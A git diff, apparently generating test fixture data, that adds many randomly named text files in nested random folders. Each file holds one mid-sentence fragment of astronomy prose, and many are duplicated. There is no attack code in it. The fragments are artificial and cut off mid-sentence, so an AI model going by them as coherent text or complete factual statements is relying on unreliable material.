+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/tdskdcwtbe.txt
@@ -0,0 +1 @@
+exhibits, on the shelves of our museums are the fragments of distant worlds. The asteroid
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/xgmdbggqhje.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/xgmdbggqhje.txt
new file mode 100644
index 0000000..4990624
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/xgmdbggqhje.txt
@@ -0,0 +1 @@
+ours, having such tedious Winters.’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/yjhuoielrbyddkqu.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/yjhuoielrbyddkqu.txt
new file mode 100644
index 0000000..6b6b1ba
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/yjhuoielrbyddkqu.txt
@@ -0,0 +1 @@
+One inscription refers to a time more than a million years ago and another perhaps refers to events of 400
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/file_ahjehwbqy.txt b/big_zip/big-zip-files/folder_ywdgheanll/file_ahjehwbqy.txt
new file mode 100644
index 0000000..3b5a1b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/file_ahjehwbqy.txt
@@ -0,0 +1 @@
+We do not understand human behavior well enough to be sure of the mechanisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/file_budhbbbuisln.txt b/big_zip/big-zip-files/folder_ywdgheanll/file_budhbbbuisln.txt
new file mode 100644
index 0000000..3b5a1b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/file_budhbbbuisln.txt
@@ -0,0 +1 @@
+We do not understand human behavior well enough to be sure of the mechanisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/file_bzmuzrbljkdvbxdwb.txt b/big_zip/big-zip-files/folder_ywdgheanll/file_bzmuzrbljkdvbxdwb.txt
new file mode 100644
index 0000000..3b5a1b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/file_bzmuzrbljkdvbxdwb.txt
@@ -0,0 +1 @@
+We do not understand human behavior well enough to be sure of the mechanisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/file_fiffbaakodtiwejuaozvus.txt b/big_zip/big-zip-files/folder_ywdgheanll/file_fiffbaakodtiwejuaozvus.txt
new file mode 100644
index 0000000..3b5a1b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/file_fiffbaakodtiwejuaozvus.txt
@@ -0,0 +1 @@
+We do not understand human behavior well enough to be sure of the mechanisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/file_jrumhanu.txt b/big_zip/big-zip-files/folder_ywdgheanll/file_jrumhanu.txt
new file mode 100644
index 0000000..3b5a1b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/file_jrumhanu.txt
@@ -0,0 +1 @@
+We do not understand human behavior well enough to be sure of the mechanisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/file_jwkkzhenug.txt b/big_zip/big-zip-files/folder_ywdgheanll/file_jwkkzhenug.txt
new file mode 100644
index 0000000..3b5a1b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/file_jwkkzhenug.txt
@@ -0,0 +1 @@
+We do not understand human behavior well enough to be sure of the mechanisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/file_mbbpidezhkauvpbstc.txt b/big_zip/big-zip-files/folder_ywdgheanll/file_mbbpidezhkauvpbstc.txt
new file mode 100644
index 0000000..3b5a1b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/file_mbbpidezhkauvpbstc.txt
@@ -0,0 +1 @@
+We do not understand human behavior well enough to be sure of the mechanisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/file_mhcbcokzsisqpfbwkcirkfi.txt b/big_zip/big-zip-files/folder_ywdgheanll/file_mhcbcokzsisqpfbwkcirkfi.txt
new file mode 100644
index 0000000..3b5a1b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/file_mhcbcokzsisqpfbwkcirkfi.txt
@@ -0,0 +1 @@
+We do not understand human behavior well enough to be sure of the mechanisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/file_mjxsngrqaamugvzhgjkg.txt b/big_zip/big-zip-files/folder_ywdgheanll/file_mjxsngrqaamugvzhgjkg.txt
new file mode 100644
index 0000000..3b5a1b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/file_mjxsngrqaamugvzhgjkg.txt
@@ -0,0 +1 @@
+We do not understand human behavior well enough to be sure of the mechanisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/file_nvixizvbfjuek.txt b/big_zip/big-zip-files/folder_ywdgheanll/file_nvixizvbfjuek.txt
new file mode 100644
index 0000000..3b5a1b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/file_nvixizvbfjuek.txt
@@ -0,0 +1 @@
+We do not understand human behavior well enough to be sure of the mechanisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/file_ooiwbtvlyul.txt b/big_zip/big-zip-files/folder_ywdgheanll/file_ooiwbtvlyul.txt
new file mode 100644
index 0000000..3b5a1b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/file_ooiwbtvlyul.txt
@@ -0,0 +1 @@
+We do not understand human behavior well enough to be sure of the mechanisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/file_rwnezvexhgeuy.txt b/big_zip/big-zip-files/folder_ywdgheanll/file_rwnezvexhgeuy.txt
new file mode 100644
index 0000000..3b5a1b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/file_rwnezvexhgeuy.txt
@@ -0,0 +1 @@
+We do not understand human behavior well enough to be sure of the mechanisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/file_tmaagjvtodpqpocoya.txt b/big_zip/big-zip-files/folder_ywdgheanll/file_tmaagjvtodpqpocoya.txt
new file mode 100644
index 0000000..3b5a1b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/file_tmaagjvtodpqpocoya.txt
@@ -0,0 +1 @@
+We do not understand human behavior well enough to be sure of the mechanisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/file_uezfntuzkcnuiwuxbup.txt b/big_zip/big-zip-files/folder_ywdgheanll/file_uezfntuzkcnuiwuxbup.txt
new file mode 100644
index 0000000..3b5a1b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/file_uezfntuzkcnuiwuxbup.txt
@@ -0,0 +1 @@
+We do not understand human behavior well enough to be sure of the mechanisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/file_vzoobqbarjwueo.txt b/big_zip/big-zip-files/folder_ywdgheanll/file_vzoobqbarjwueo.txt
new file mode 100644
index 0000000..3b5a1b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/file_vzoobqbarjwueo.txt
@@ -0,0 +1 @@
+We do not understand human behavior well enough to be sure of the mechanisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/file_ykuoqmcaihnduhf.txt b/big_zip/big-zip-files/folder_ywdgheanll/file_ykuoqmcaihnduhf.txt
new file mode 100644
index 0000000..3b5a1b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/file_ykuoqmcaihnduhf.txt
@@ -0,0 +1 @@
+We do not understand human behavior well enough to be sure of the mechanisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/file_yutxvjwtcpksaoi.txt b/big_zip/big-zip-files/folder_ywdgheanll/file_yutxvjwtcpksaoi.txt
new file mode 100644
index 0000000..3b5a1b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/file_yutxvjwtcpksaoi.txt
@@ -0,0 +1 @@
+We do not understand human behavior well enough to be sure of the mechanisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/file_zrcweioqrnrjpdlrpxmb.txt b/big_zip/big-zip-files/folder_ywdgheanll/file_zrcweioqrnrjpdlrpxmb.txt
new file mode 100644
index 0000000..3b5a1b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/file_zrcweioqrnrjpdlrpxmb.txt
@@ -0,0 +1 @@
+We do not understand human behavior well enough to be sure of the mechanisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_iexuecchsnaprlkdminy.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_iexuecchsnaprlkdminy.txt
new file mode 100644
index 0000000..6215cf2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_iexuecchsnaprlkdminy.txt
@@ -0,0 +1 @@
+collapse and star formation. In this sense, stars have parents; and, as is sometimes also true
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_lurtvisdfdv.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_lurtvisdfdv.txt
new file mode 100644
index 0000000..6215cf2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_lurtvisdfdv.txt
@@ -0,0 +1 @@
+collapse and star formation. In this sense, stars have parents; and, as is sometimes also true
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_mylrupogkeqadvl.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_mylrupogkeqadvl.txt
new file mode 100644
index 0000000..6215cf2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_mylrupogkeqadvl.txt
@@ -0,0 +1 @@
+collapse and star formation. In this sense, stars have parents; and, as is sometimes also true
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_ofmcaetp.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_ofmcaetp.txt
new file mode 100644
index 0000000..6215cf2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_ofmcaetp.txt
@@ -0,0 +1 @@
+collapse and star formation. In this sense, stars have parents; and, as is sometimes also true
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_opjevaaaayqnfwlaeun.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_opjevaaaayqnfwlaeun.txt
new file mode 100644
index 0000000..6215cf2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_opjevaaaayqnfwlaeun.txt
@@ -0,0 +1 @@
+collapse and star formation. In this sense, stars have parents; and, as is sometimes also true
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_pfqwxgzsyaaafig.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_pfqwxgzsyaaafig.txt
new file mode 100644
index 0000000..6215cf2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_pfqwxgzsyaaafig.txt
@@ -0,0 +1 @@
+collapse and star formation. In this sense, stars have parents; and, as is sometimes also true
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_pziiowcsbwq.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_pziiowcsbwq.txt
new file mode 100644
index 0000000..6215cf2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_pziiowcsbwq.txt
@@ -0,0 +1 @@
+collapse and star formation. In this sense, stars have parents; and, as is sometimes also true
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_rvovrpazftywrivuaj.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_rvovrpazftywrivuaj.txt
new file mode 100644
index 0000000..6215cf2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_rvovrpazftywrivuaj.txt
@@ -0,0 +1 @@
+collapse and star formation. In this sense, stars have parents; and, as is sometimes also true
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_shhabkryzgwzpvhqa.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_shhabkryzgwzpvhqa.txt
new file mode 100644
index 0000000..6215cf2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_shhabkryzgwzpvhqa.txt
@@ -0,0 +1 @@
+collapse and star formation. In this sense, stars have parents; and, as is sometimes also true
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_tckvpopuelfmrqphsgbxagal.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_tckvpopuelfmrqphsgbxagal.txt
new file mode 100644
index 0000000..6215cf2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/file_tckvpopuelfmrqphsgbxagal.txt
@@ -0,0 +1 @@
+collapse and star formation. In this sense, stars have parents; and, as is sometimes also true
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_armsiwbggrfhmjjjqqphqt.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_armsiwbggrfhmjjjqqphqt.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_armsiwbggrfhmjjjqqphqt.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_ayipzmywtrozeags.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_ayipzmywtrozeags.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_ayipzmywtrozeags.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_bmwgseghgsxqdlddg.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_bmwgseghgsxqdlddg.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_bmwgseghgsxqdlddg.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_fbsltvhyjcyzuhxw.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_fbsltvhyjcyzuhxw.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_fbsltvhyjcyzuhxw.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_hfsrdcakwah.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_hfsrdcakwah.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_hfsrdcakwah.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_hwrbhpmmekwgtfcip.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_hwrbhpmmekwgtfcip.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_hwrbhpmmekwgtfcip.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_ibqxmqlcai.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_ibqxmqlcai.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_ibqxmqlcai.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_ivmidfzyrsufevhyecmnx.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_ivmidfzyrsufevhyecmnx.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_ivmidfzyrsufevhyecmnx.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_lvtcpljerdybhjxtbu.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_lvtcpljerdybhjxtbu.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_lvtcpljerdybhjxtbu.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_lxyuavpgjzkdnsstsfhu.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_lxyuavpgjzkdnsstsfhu.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_lxyuavpgjzkdnsstsfhu.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_mspnunympaecdzw.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_mspnunympaecdzw.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_mspnunympaecdzw.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_ncbwdthfd.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_ncbwdthfd.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_ncbwdthfd.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_nupvbzhknkvrkt.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_nupvbzhknkvrkt.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_nupvbzhknkvrkt.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_nyqzdqmouwachteikogcxk.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_nyqzdqmouwachteikogcxk.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_nyqzdqmouwachteikogcxk.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_ongyfolsoyvmcr.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_ongyfolsoyvmcr.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_ongyfolsoyvmcr.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_pbvqjodhgjzfj.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_pbvqjodhgjzfj.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_pbvqjodhgjzfj.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_psxlmbjowxgov.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_psxlmbjowxgov.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_psxlmbjowxgov.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_siwarcfyeneqlxngvdmihwtq.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_siwarcfyeneqlxngvdmihwtq.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_siwarcfyeneqlxngvdmihwtq.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_teblsxhnmjtk.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_teblsxhnmjtk.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_teblsxhnmjtk.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_uyhfvfukkykrylypjoeeaafg.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_uyhfvfukkykrylypjoeeaafg.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_uyhfvfukkykrylypjoeeaafg.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_wjsvznrrjfnctiuivjiiymra.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_wjsvznrrjfnctiuivjiiymra.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_wjsvznrrjfnctiuivjiiymra.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_xwaulgpqakqyinp.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_xwaulgpqakqyinp.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_xwaulgpqakqyinp.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_zbgntivpsw.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_zbgntivpsw.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_zbgntivpsw.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_zrrtapepupofzdtu.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_zrrtapepupofzdtu.txt
new file mode 100644
index 0000000..ede2484
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/file_zrrtapepupofzdtu.txt
@@ -0,0 +1 @@
+As early as 1868 the astronomer William Huggins found an identity between some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/bzrtoiszlz.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/bzrtoiszlz.txt
new file mode 100644
index 0000000..c2f5f86
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/bzrtoiszlz.txt
@@ -0,0 +1 @@
+also made no allowance for the existence of the Earth’s moon, and Galileo’s discovery of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/dncjbfoclodikayiif.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/dncjbfoclodikayiif.txt
new file mode 100644
index 0000000..8becc0b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/dncjbfoclodikayiif.txt
@@ -0,0 +1 @@
+worlds; but in such details as the chemistry of proteins or the neurology of brains, the story
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/ewbclhhhbhcrbbscalerlw.txt b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/ewbclhhhbhcrbbscalerlw.txt
new file mode 100644
index 0000000..a6f5116
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ywdgheanll/folder_dzlcayivag/folder_zplcjzbxdh/folder_cbazgfeeiz/ewbclhhhbhcrbbscalerlw.txt
@@ -0,0 +1 @@
